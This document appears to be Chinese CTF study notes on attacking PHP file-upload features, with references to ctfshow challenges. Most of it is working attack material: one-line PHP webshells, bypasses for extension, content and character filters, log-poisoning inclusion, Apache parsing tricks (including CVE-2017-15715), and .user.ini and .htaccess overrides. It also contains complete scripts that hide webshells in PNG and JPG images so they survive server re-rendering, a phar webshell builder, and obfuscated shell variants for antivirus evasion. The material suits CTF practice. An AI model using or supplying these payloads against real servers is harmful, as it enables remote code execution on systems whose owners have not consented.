文件上传
参考《.htaccess 和.user.ini 配置文件妙用》
原理:php写一句话木马上传
<?php @eval($_POST['cmd']);?>
前端限制
html源码出现类似这种
<button lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}"></button>
f12修改页面可解
禁用js
burp发包
后端限制
限制传图片,
可写入一句话木马改成
jpg
,png
等图片格式,上传时改成.phpPHP环境下若php后缀被过滤,
传入后缀为
.Php
,.phtml
,.php3
,.php4
的一句话木马(均可当作php解析)格式正确的情况下无法上传尝试减少图片内容
魔术文件头:GIF89a
检测宽高
#define height 1 #define width 1
一句话木马中字符过滤
<?php
:可改为<?Php
,或者短标签
[]
:尝试使用{}
;
:尝试使用php闭合标签?>
()
:此时约等于无法传入木马来getshell,可以考虑直接进行命令执行
<?=`tac ../f*`?>
或用echo
这类不需要括号的函数
或用取反与异或进行绕过(使用data协议)
关键词过滤:尝试用单个字符拼接,比如"ph"."p"
日志文件包含
过滤了大量命令执行主要字符的时候可以考虑采用文件包含的方式来执行shell
在传入的一句话木马中使用include
、require
函数进行文件包含
然后ua头写入一句话木马进行日志包含
ctfshow web160
这题把空格过滤了,还过滤了括号、反引号
先改.user.ini使其解析png为php
然后传入短标签日志包含
在/upload/页ua头写马进行日志包含
Apache HTTPD解析漏洞
未知后缀解析漏洞
该漏洞与Apache、php版本无关,属于用户配置不当造成的解析漏洞
Apache认为一个文件可以拥有多个扩展名,哪怕没有文件名,也可以拥有多个扩展名。Apache认为应该从右到左开始判断解析方法的。如果最右侧的扩展名为不可识别的,就继续往左判断,直到判断到文件名为止
所以如果按后缀过滤了.php
,也可以考虑把文件名后缀改为.php.xxx
换行解析漏洞(CVE-2017-15715)
版本:2.4.0~2.4.29
在解析PHP时,1.php\x0a将被按照PHP后缀进行解析
原理:
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
php$
使用$来匹配以.php为后缀的文件,那么在文件名后插入换行符\x0A
则可以绕过php黑名单,实现文件上传
AddHandler导致的解析漏洞
如果服务器给.php后缀添加了处理器:AddHandler application/x-httpd-php.php
那么,在有多个后缀的情况下,只要包含.php
后缀的文件就会被识别出php文件进行解析,不需要是最后一个后缀。如shell.php.jpg
中包含.php
,所以解析为php文件
改配置文件
.user.ini配置文件绕过
可用于抓包可上传但不解析且文件夹下存在php文件的情形
php.ini 是 php 的一个全局配置文件,对整个 web 服务起作用;而.user.ini 和.htaccess 一样是目录的配置文件,.user.ini 就是用户自定义的一个 php.ini,通常用这个文件来构造后门和隐藏后门
相关配置项,作用相当于文件包含
auto_prepend_file=<filename> //包含在文件头
在当前目录下的.php 文件包含 1.jpg(以1.jpg为例),即在php文件头插入require('1.jpg')
auto_append_file=<filename> //包含在文件尾
- 包含在文件尾的语句遇到
exit()
等会失效
.htaccess(环境为Apache时使用)
ctfshow web167
httpd-conf 是 Apache 的系统配置文件,一个全局的配置文件,对整个 web 服务起作用;而.htaccess 也是 Apache 的配置文件,不过相当于一个局部配置文件,只对该文件所在目录下的文件起作用
前面我们有提到在php后缀被过滤的情况下,可用传入后缀为.phtml
的一句话木马
这是因为在绕过文件上传的限制中, httpd.conf 中有这样一条配置:
AddType application/x-httpd-php .php .phtml
这条配置的意思就是将.php
、.phtml
文件后缀的文件当做 php 文件执行
不过在高版本中这条配置默认是关闭的,也就是只能解析.php
文件后缀
还有这条配置:将所有文件都解析为 php 文件。
SetHandler application/x-httpd-php
一般也是不开启的
对于全局配置,我们一般无法更改
而在web目录(比如/var/www/html)下,存在局部配置文件.htaccess,只对该目录所在的web目录起作用
两种改法:
将.png后缀的文件解析成php
AddType application/x-httpd-php .png
将匹配到的文件按php解析执行
<FilesMatch "1.jpg">
Sethandler application/x-httpd-php
#<!-- 将匹配到的 1.jpg 文件按照php解析执行 -->
Addhandler php5-script .jpg
#<!-- 将匹配到的 1.jpg 文件按照php解析执行 -->
</FilesMatch>
#<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->
- 记得改Content-Type
二次渲染绕过
存在图片包含点的时候可用
gif
把php代码写在渲染前后没有发生变化的位置即可
png
ctfshow web164
图片生成脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
运行之后获得一张带有一句话木马同时防止二次渲染丢失php代码的png图片
上传上去,然后会出现一个查看图片的按钮,点击查看图片来到图片包含的路由
进行命令执行
jpg
图片生成脚本
<?php
$miniPayload = "<?php system('tac f*');?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法 php exp.php a.png
传zip
注意改Content-Type: application/x-zip-compressed
Phar反序列化文件上传
利用phar://伪协议将文件打包成压缩包并上传
参考:https://paper.seebug.org/680/
构造phar包
<?php
$payload = '<?php eval($_POST["shell"]); ?>'; //一句话木马
$phar = new Phar("exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("exp.php", "$payload"); //添加要压缩的文件
// $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();
如果报错需要在php.ini中修改为phar.readonly=Off
并重启php服务
然后运行即可得到一个内含一句话木马exp.php的phar包
上传时把后缀名改为zip
然后使用phar://
协议读取这个压缩包中的一句话木马
phar://xxxxxxxxxxxxxxxxx(存入的路径名).zip/exp
免杀
其实就是RCE
收集的一些免杀技巧
过滤一句话木马、system之类的命令执行函数
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST['cmd']);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST['cmd']);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST['cmd']);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
<?=`ls`?>
过滤<
配置文件写日志进行包含